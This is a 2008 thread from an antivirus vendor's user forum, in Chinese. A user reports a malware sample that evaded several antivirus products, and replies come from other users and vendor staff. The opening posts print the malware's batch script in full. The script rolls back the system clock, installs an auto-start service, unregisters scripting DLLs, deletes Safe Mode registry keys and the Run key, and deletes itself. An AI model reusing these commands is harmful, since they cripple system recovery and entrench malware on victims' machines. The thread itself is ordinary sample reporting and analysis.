Board logo

标题: 什么病毒如此牛B？？越红伞，过卡巴，所向无敌!!! [打印本页]
作者: 小鱼儿     时间: 2008-3-30 16:17    标题: 什么病毒如此牛B？？越红伞，过卡巴，所向无敌!!!

在深度样本区发现一个病毒样本链接，号称过了卡巴、红伞，我用的NOD32经测试也被过了，但微点报未知病毒，并说它试图修改系统时间，也被微点阻止了，但在进程中多了个oky.exe进程，用微点的进程管理无法结束它，任务管理器也无法终止此进程，最后用金山清理专家的在线系统诊断功能才把它给干掉了，目前未发现系统有何不良反映，请微点测试并改进，呵呵，强力支持微点。
  
  　昨天（4月1日）又测试了下，微点已能完全拦截此病毒，注册表未再被修改，批处理也未能运行。

[ Last edited by 小鱼儿 on 2008-4-2 at 13:13 ]
作者: 小鱼儿     时间: 2008-3-30 16:31    标题: 新发现

在C盘根目录下发现多了2个批处理文件，一个好象是要删除所有硬盘分区下的GHOST备份文件（呵呵，俺早就改名字了，你去删除吧，看你删得到什么*_^），另一个批处理文件好象是要改时间，别的看不懂（我是菜鸟）把内容发上来版主帮分析下：19040
30565
5120
17501
3365
8162
date 2004-08-17
28769
time 20:00:00
ping 127.0.0.1 -n 5
sc.exe create driverssVGAdriver BinPath= "C:\WINDOWS\system32\driverssVGAdriver.exe -kills" type= own type= interact start= auto DisplayName= driverssVGAdriver taskmasterdater
sc.exe description driverssVGAdriver 如果服务被禁用，任何直接依赖于此服务的服务将无法启动
regsvr32.exe /u /s scrrun.dll
regsvr32.exe /u /s shimgvw.dll
regsvr32.exe /u /s itss.dll
regsvr32.exe /u /s vbscript.dll
regsvr32.exe /s jscript.dll
reg.exe delete HKLM\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318} /F
reg.exe delete HKLM\SYSTEM\ControlSet001\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318} /F
reg.exe delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318} /F
reg.exe delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318} /F
reg.exe delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /F
25576
sc.exe start driverssVGAdriver
del "C:\WINDOWS\Media\Windows XP 开始.wav"
del "C:\WINDOWS\Media\Windows XP 信息栏.wav"
del "C:\WINDOWS\Media\Windows XP 弹出窗口已阻止.wav"
regsvr32.exe /s C:\WINDOWS\system32\taskmasterdater.dll
ping 127.0.0.1 -n 6
del "C:\Documents and Settings\Administrator\桌面\oky\oky.exe" /F
19040
30565
date 2008-03-30
time 15:49:00

del %0
作者: gudan     时间: 2008-3-30 16:33
很强大
作者: images     时间: 2008-3-31 11:56
修改系统时间
添加服务及说明

del "C:\Documents and Settings\Administrator\桌面\oky\oky.exe" /F
貌似自己删除了。
作者: 408983504     时间: 2008-3-31 12:11
厉害~~
作者: terminus     时间: 2008-4-1 14:12
注册了脚本
不知道楼主能不能给个样本呢
作者: Legend     时间: 2008-4-2 11:16
感谢楼主的反馈，该样本微点可以有效的拦截并清除，请楼主可以将您的微点更新到最新试试，如果还是无法拦截，请楼主将微点的版本和微点的技术支持信息（微点主界面-->辅助功能-->生成技术支持信息）发给我们，我们根据您的情况具体测试分析。
作者: 微点卫士     时间: 2008-4-2 11:43
实机测试嗒，厉害哦



欢迎光临 微点交流论坛 (http://bbs.micropoint.com.cn/) bbs.micropoint.com.cn